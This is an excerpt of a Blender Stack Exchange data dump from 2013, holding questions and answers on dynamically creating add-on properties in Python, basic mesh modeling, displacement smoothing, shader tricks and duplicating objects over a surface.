  <row Id="1779" PostTypeId="1" AcceptedAnswerId="1781" CreationDate="2013-07-11T20:33:30.440" Score="7" ViewCount="2172" Body="&lt;p&gt;This time I have a question about Properties in Blender. I want the operator window of my add-on to have one &lt;code&gt;BoolProperty&lt;/code&gt; per action defined in &lt;code&gt;bpy.data.actions&lt;/code&gt; and I want them to have the names from &lt;code&gt;bpy.data.actions.keys()&lt;/code&gt;. I googled a bit and tried some stuff, but it wont work, theres allways something wrong, so is this even possible and can someone give me some hints on how to do it? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ExportTSA(bpy.types.Operator, ExportHelper):&#xA;&#xA;    actionprop0 = BoolProperty(name=bpy.data.actions.keys()[0],description=&quot;Exporet this action&quot;,default=True)&#xA;    actionprop1 = BoolProperty(name=bpy.data.actions.keys()[1],description=&quot;Exporet this action&quot;,default=True)&#xA;    actionprop2 = BoolProperty(name=bpy.data.actions.keys()[2],description=&quot;Exporet this action&quot;,default=True)&#xA;    actionprop3 = BoolProperty(name=bpy.data.actions.keys()[3],description=&quot;Exporet this action&quot;,default=True)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        row = layout.row()&#xA;        row.prop(self,&quot;actionprop0&quot;)&#xA;        row = layout.row()&#xA;        row.prop(self,&quot;actionprop1&quot;)&#xA;        row = layout.row()&#xA;        row.prop(self,&quot;actionprop2&quot;)&#xA;        row = layout.row()&#xA;        row.prop(self,&quot;actionprop3&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Heres a simplified version of my class, to demonstrate the idea. Instead of making hardcoded props like actionprop0, actionprop1... I want it to be dynamic in a way that it creates an automatic list, assigns the correct names, registers each one and draws them. I also found that you get into trouble when using &lt;code&gt;bpy.data.actions&lt;/code&gt; where I used it, after I googled it it turns out that blender seems to be not fully initialized at that point so that causes errors, which might lead to additional problems.&lt;/p&gt;&#xA;" OwnerUserId="895" LastEditorUserId="12" LastEditDate="2013-07-11T20:37:24.257" LastActivityDate="2013-07-12T05:19:04.893" Title="Dynamic creation of properties for export script" Tags="&lt;scripting&gt;&lt;python&gt;&lt;add-on&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1780" PostTypeId="2" ParentId="1634" CreationDate="2013-07-11T22:11:10.290" Score="1" Body="&lt;p&gt;You could try using a dynamic paint modifier in weight paint mode that makes a vertex group around the object colliding with the ocean, which you could use as an emission vertex group for some particle systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://www.pasteall.org/blend/22736&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt; with an example setup.&#xA;(Note, only worked for me with the 2.68RC)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there &lt;a href=&quot;https://projects.blender.org/tracker/index.php?func=detail&amp;amp;aid=36108&amp;amp;group_id=9&amp;amp;atid=498&quot; rel=&quot;nofollow&quot;&gt;seems to be a bug&lt;/a&gt; where the particles keep emitting&#xA;from the same spot.   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is a limitation of the particle system&#xA;  implementation unfortunately.&#xA;  &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Development/Todo/Tools#Particles&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Source/Development/Todo/Tools#Particles&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The location of emitted particles are determined in advance now and&#xA;  stay fixed, so this can't be animated. There's been some working on&#xA;  designing an improved particle system that can handle such animations&#xA;  but it's not finished:&#xA;  &lt;a href=&quot;http://code.blender.org/index.php/2011/03/paged-buffers-for-particles/&quot; rel=&quot;nofollow&quot;&gt;http://code.blender.org/index.php/2011/03/paged-buffers-for-particles/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-12T21:26:45.287" LastActivityDate="2013-07-12T21:26:45.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1781" PostTypeId="2" ParentId="1779" CreationDate="2013-07-12T00:26:59.207" Score="2" Body="&lt;p&gt;I don't think dynamic property creation is possible. I've tried it before, and Blender always complains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rna_uiItemR: property not found: [property_name]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An alternative way would be to put the property in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Action.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.types.Action&lt;/code&gt;&lt;/a&gt; instead, so every actions already have the property. Then it's only a matter of displaying it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class EX_dynamic_property(bpy.types.Panel):&#xA;    bl_idname = 'EX_dynamic_property'&#xA;    bl_label = 'Dynamic Property'&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        for action in bpy.data.actions:&#xA;            layout.prop(action, 'EX_export_this', text=action.name)&#xA;        layout.operator('view3d.print_action_export_status')&#xA;&#xA;class OT_dynamic_property(bpy.types.Operator):&#xA;    bl_idname = 'view3d.print_action_export_status'&#xA;    bl_label = 'Print'&#xA;    bl_options = {'REGISTER'}&#xA;&#xA;    def execute(self, context):&#xA;        print('*' * 5)&#xA;        for action in bpy.data.actions:&#xA;            print(&quot;%s:\t%s&quot; % (action.name, action.EX_export_this))&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Action.EX_export_this = bpy.props.BoolProperty(default=False)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's easy, and there's not a lot we need to do. Upon execution, the code above will list the property:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qz0NG.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-07-12T00:26:59.207" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1782" PostTypeId="1" AcceptedAnswerId="1785" CreationDate="2013-07-12T01:33:51.090" Score="11" ViewCount="3315" Body="&lt;p&gt;I am having a lot of trouble starting with blender. I am trying to make a train track to start but I am having a lot of trouble creating the shapes. When I click on Add&amp;nbsp;→ Mesh&amp;nbsp;→ Cube, it gives be a cube that I do not know how to resize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some general ways that I can resize, modify and go about transforming the default primitive objects in Blender?&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="1977" LastEditDate="2013-12-27T20:49:17.020" LastActivityDate="2015-11-22T00:43:43.883" Title="The basics of how to start modeling" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" CommunityOwnedDate="2013-07-12T13:22:41.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="1783" PostTypeId="2" ParentId="1782" CreationDate="2013-07-12T01:48:30.393" Score="2" Body="&lt;p&gt;You need to be in edit mode to model. Press [tab] or select edit mode in the toolbar.&#xA;You can then select the dots (vertices) using right click, and change their position.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;G&lt;/kbd&gt; to grab and move the vertices around.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt; to rotate them&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;S&lt;/kbd&gt; to scale&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By pressing &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt; immediately afterwards, you can limit the transformation to only one specific axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should have a look at this modeling introduction:&#xA;&lt;a href=&quot;http://useblender.com/Basic_Modeling.html&quot; rel=&quot;nofollow&quot;&gt;http://useblender.com/Basic_Modeling.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="1977" LastEditDate="2013-12-27T20:50:08.667" LastActivityDate="2013-12-27T20:50:08.667" CommentCount="0" CommunityOwnedDate="2013-07-12T12:15:37.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="1784" PostTypeId="2" ParentId="1777" CreationDate="2013-07-12T02:14:54.600" Score="6" Body="&lt;p&gt;Since the displacement modifier uses textures, you can make use of texture sampling options which apply with the example you give.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the texture's &lt;code&gt;Image Sampling&lt;/code&gt; panel, make sure &lt;code&gt;Interpolation&lt;/code&gt; is enabled, and increase the filter size (values between [1.5 ... 2.0] give quite smooth result, 3.0 and above are smooth but you loose definition).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to change the color-space of the image between &lt;code&gt;linear/srgb&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-07-13T16:52:50.803" LastActivityDate="2013-07-13T16:52:50.803" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1785" PostTypeId="2" ParentId="1782" CreationDate="2013-07-12T02:54:34.033" Score="14" Body="&lt;p&gt;&lt;strong&gt;For a &lt;em&gt;very&lt;/em&gt;, &lt;em&gt;very&lt;/em&gt; quick start.&lt;/strong&gt; The absolute 3 things you need to know to begin effectively modeling in Blender are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;h1&gt;Interaction Modes&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Object Mode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are placed in object mode by default when you add a new primitive. You can translate, rotate and scale the object along the three axes whilst in this mode but to get finer control, you want to enter edit mode. Use &lt;kbd&gt;Tab&lt;/kbd&gt; to enter edit mode from object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/79Pto.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Edit Mode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode, you have access the underlying structure of the object, you have much more control here and this is where you will spend most of your time when modeling. Likewise, use &lt;kbd&gt;Tab&lt;/kbd&gt; to exit edit mode and enter object mode.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WH8OU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h1&gt;Mesh Select Modes&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Once you are in edit mode, you have 3 different control handles that you can use to help shape the mesh. These are pretty intuitive so I won't explain them and you can read more about these on the relevant &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Basics&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki page.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Vertex&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/queyN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Edge&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XasQk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Face&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x23i6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h1&gt;Mesh manipulation&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is how you can shape and tweak your mesh. While you can do this object mode as well, you have much more control while you are in edit mode as you have access to the mesh control points.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Translate&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O1lIL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Rotate&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1HY3M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scale&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iTGZz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you can understand those, you are on your way. Once you are past this stage, you can start looking at more advanced things such as extrusion, beveling and modifiers etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is too much information to go into here and this should suffice. Your next steps would be to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Watch some &lt;a href=&quot;https://www.youtube.com/playlist?list=PL9057AB8E3C66AE80&quot; rel=&quot;nofollow noreferrer&quot;&gt;introductory video tutorials&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/blender-basics-introduction-for-beginners/&quot; rel=&quot;nofollow noreferrer&quot;&gt;archived&lt;/a&gt;), &lt;a href=&quot;https://cgcookie.com/course/blender-basics/&quot; rel=&quot;nofollow noreferrer&quot;&gt;more tutorials&lt;/a&gt; for modeling in Blender.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Read the &lt;a href=&quot;http://www.blender.org/manual/modeling/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;introduction to modeling&lt;/a&gt; on the manual.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Browse the &lt;a href=&quot;/questions/tagged/modeling&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;modeling&amp;#39;&quot; rel=&quot;tag&quot;&gt;modeling&lt;/a&gt; and &lt;a href=&quot;/questions/tagged/workflow&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;workflow&amp;#39;&quot; rel=&quot;tag&quot;&gt;workflow&lt;/a&gt; tags on this site for more tips and tricks such as &lt;a href=&quot;https://blender.stackexchange.com/questions/914/what-tool-can-i-use-to-do-this&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, some common shortcuts that you should learn are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;G&lt;/kbd&gt; to grab &lt;em&gt;(translate)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;S&lt;/kbd&gt; to scale&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt; to rotate&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Nail these basics and you will be making your own models in no time, using the basic steps above, you can make your train tracks easily by just scaling and translating simple cubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DTOoQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-11-22T00:43:43.883" CommentCount="0" CommunityOwnedDate="2013-07-12T12:15:37.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="1786" PostTypeId="2" ParentId="1779" CreationDate="2013-07-12T04:15:32.917" Score="9" Body="&lt;p&gt;In addition to what Adhi suggested, you can use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.props.html#bpy.props.CollectionProperty&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;CollectionProperty&lt;/code&gt;&lt;/a&gt; in your operator to store key value pairs (where keys are name of the action and values are boolean values). For this to work you must...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a subclass of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.PropertyGroup.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;PropertyGroup&lt;/code&gt;&lt;/a&gt; that will hold single key-value pair.&lt;/li&gt;&#xA;&lt;li&gt;populate this collection from &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.Operator.html#invoke-function&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Operator.invoke&lt;/code&gt;&lt;/a&gt; method (you might already have it)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the code goes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras.io_utils import ExportHelper&#xA;from bpy.props import *&#xA;&#xA;class ActionSelProperty(bpy.types.PropertyGroup):&#xA;    name = StringProperty(name=&quot;Action Name&quot;)&#xA;    export = BoolProperty(name=&quot;Export&quot;, description=&quot;Exporet this action&quot;, default=True)&#xA;&#xA;class ExportTSA(bpy.types.Operator, ExportHelper):&#xA;    bl_idname = &quot;test.export_tsa_op&quot;&#xA;    bl_label = &quot;Export TSA&quot;&#xA;&#xA;    actionprop = CollectionProperty(name=&quot;Actions&quot;, type=ActionSelProperty, description=&quot;Select actions to exporet&quot;)&#xA;    filename_ext = &quot;*.*&quot; # Only needed if subclassing `ExportHelper`&#xA;&#xA;    def invoke(self, context, event):&#xA;        for aname in bpy.data.actions.keys():&#xA;            self.actionprop.add().name = aname&#xA;        wm = context.window_manager&#xA;        wm.fileselect_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        for aindx in range(len(self.actionprop)):&#xA;            row = layout.row()&#xA;            row.prop(self.actionprop[aindx], &quot;export&quot;, text=self.actionprop[aindx].name)&#xA;&#xA;    def execute(self, context):&#xA;        for aprop in self.actionprop:&#xA;            print(&quot;%s:\t%s&quot; % (aprop.name, aprop.export))&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case,  &lt;code&gt;name&lt;/code&gt; is a key and &lt;code&gt;export&lt;/code&gt; is a boolean value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Invoke by searching &lt;code&gt;Export TSA&lt;/code&gt;. Screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V5o84.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/7EBDC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may not be perfect, but you can investigate more! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="667" LastEditorUserId="667" LastEditDate="2013-07-12T05:19:04.893" LastActivityDate="2013-07-12T05:19:04.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1787" PostTypeId="2" ParentId="1777" CreationDate="2013-07-12T05:56:02.277" Score="0" Body="&lt;p&gt;In my experience, displacement accuracy is usually related to one of two things: mesh resolution, and the bit depth of the texture image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you add a multires modifier before the displacement modifier to up the mesh resolution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you bring in the texture with a higher bit depth (16/32) so there is a finer gradation between the height levels? A 32 exr file will obviously give you more height detail for displacement, but it all depends on your source file for the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Barring that, it might be a bug as Campbell has suggested.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2013-07-12T05:56:02.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1788" PostTypeId="2" ParentId="1605" CreationDate="2013-07-12T07:18:42.700" Score="17" Body="&lt;p&gt;This is where OpenShadingLanguage can step in. Using an OSL script you can get an iridescence effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michel J. Anders has already done the hard work on his &lt;a href=&quot;http://blenderthings.blogspot.com.au/2012/11/a-soap-bubble-osl-shader-for-blender.html&quot; rel=&quot;noreferrer&quot; title=&quot;Small Blender Things&quot;&gt;Small Blender Things&lt;/a&gt; blog with his surface iridescence shader. You may find some of his other scripts interesting as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vlx4u.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="25" LastEditDate="2013-07-12T15:39:19.170" LastActivityDate="2013-07-12T15:39:19.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1790" PostTypeId="2" ParentId="1703" CreationDate="2013-07-12T13:03:10.947" Score="8" Body="&lt;p&gt;If you aren't relying on the caustics for something in your render, you can use the Light Path node and it's &lt;code&gt;IsCameraRay&lt;/code&gt; output to make that material simply look like glass, but behave differently during path tracing (E.g. Transparent Shader). So it'll look just like a glass shader, but light passing through it will think it's transparent.&#xA;Here's a &lt;a href=&quot;http://www.blendernation.com/2012/12/28/video-tutorial-fake-caustics-in-cycles/&quot; rel=&quot;noreferrer&quot;&gt;tutorial to that effect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, once &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aDingTo/GSoC_2013&quot; rel=&quot;noreferrer&quot;&gt;Thomas Dinges' GSoC branch&lt;/a&gt; is done and merged, you'll be able to control light bounces per light and per shader, so you could make only certain lights contribute to caustics, or make the glass material only use 3 bounces to reduce some mad number of bounces causing random fireflies.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="599" LastEditDate="2013-08-09T16:20:48.423" LastActivityDate="2013-08-09T16:20:48.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1792" PostTypeId="2" ParentId="1666" CreationDate="2013-07-12T15:40:18.207" Score="3" Body="&lt;p&gt;Try using smaller Tiles like 16*16 or even 8*8 and use fewer Threads.&#xA;However I think it would be the wrong approach to tackle this problem on the softare side of things. It might be safer to invest in a new CPU fan or another fan for the computer case (will be easier to install)&lt;/p&gt;&#xA;" OwnerUserId="941" LastActivityDate="2013-07-12T15:40:18.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1794" PostTypeId="2" ParentId="1745" CreationDate="2013-07-12T16:49:01.200" Score="1" Body="&lt;p&gt;You can use the CreaPrim addon to create a new (low poly) primitive for you (so you don't have to write the script yourself). To do so:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the CreaPrim addon in your settings.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your circle mesh&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your mesh and in the toolbar scroll down to the CreaPrim panel:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtOR6.png&quot; alt=&quot;creaprim toolbar&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Name your circle.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click CreaPrim.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The primitive is now an add-on which you can enable in your preferences (you may want to create a new file, enable the add-on and press &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; to update the default settings).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note: If you get an error when trying to create the primitive (like I did) you may have to use a cylinder instead of a circle. I think there's a bug that doesn't allow you to create one vertex thick meshes&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-07-12T16:49:01.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1795" PostTypeId="1" CreationDate="2013-07-12T16:57:47.140" Score="8" ViewCount="7404" Body="&lt;p&gt;I want to assign a &quot;random&quot; factor to my materials. I want to load 5 different diffuse maps in my material and assign the same material to 300 objects. The &quot;random node&quot; should take any one of the loades maps and assign it to a object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this or any similar operation possible? Or is it possible to &quot;shift&quot; the uv coordinates randomly to another place in one texture, or to mix the original map with a color (randomly choosen?).&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="12" LastEditDate="2013-07-16T20:07:07.647" LastActivityDate="2014-11-07T23:37:59.063" Title="Random maps in cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1796" PostTypeId="2" ParentId="1795" CreationDate="2013-07-12T17:39:25.237" Score="14" Body="&lt;p&gt;If you want to shift the UV maps around you could use the random output from the &lt;em&gt;Object Info&lt;/em&gt; node to give each texture a random location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eARVm.png&quot; alt=&quot;object info node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My simple node layout:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/e60ny.png&quot; alt=&quot;randomize texture layout&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-12T17:39:25.237" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1797" PostTypeId="1" CreationDate="2013-07-12T21:11:32.440" Score="11" ViewCount="6477" Body="&lt;p&gt;I am a beginner and I want to add nails to a cactus I've modeled. How would I go about doing this? I'm after actual geometry not just a flat plane with a texture.&lt;/p&gt;&#xA;" OwnerUserId="889" LastEditorUserId="12" LastEditDate="2013-07-13T02:13:27.900" LastActivityDate="2016-12-24T17:59:14.807" Title="How can I replicate an object over the surface of another?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1798" PostTypeId="2" ParentId="1797" CreationDate="2013-07-12T22:37:36.320" Score="10" Body="&lt;p&gt;&lt;em&gt;One&lt;/em&gt; way to go about this would be to use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliFaces&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;DupliFaces&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Duplication Faces&lt;/em&gt; or &lt;em&gt;DupliFaces&lt;/em&gt; is the capability to replicate an&#xA;  object on each face of a parent object.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would model your nail then parent it to the cactus object with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt;. You then select the cactus object and in the &lt;em&gt;Object&lt;/em&gt; panel under &lt;em&gt;Duplication&lt;/em&gt; and choose Faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is not perfect and the outcome of this depends a lot on the topology of your parent object (the cactus) and how your child object (the nail) is scaled and or rotated etc. It can work with some tweaking however&amp;hellip;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ky3mY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to use a particle system, set the type to &lt;em&gt;Hair&lt;/em&gt; and under &lt;em&gt;Render&lt;/em&gt;, select the nail object. &lt;em&gt;This is a bit harder to tweak if you don't have much experience with it etc. 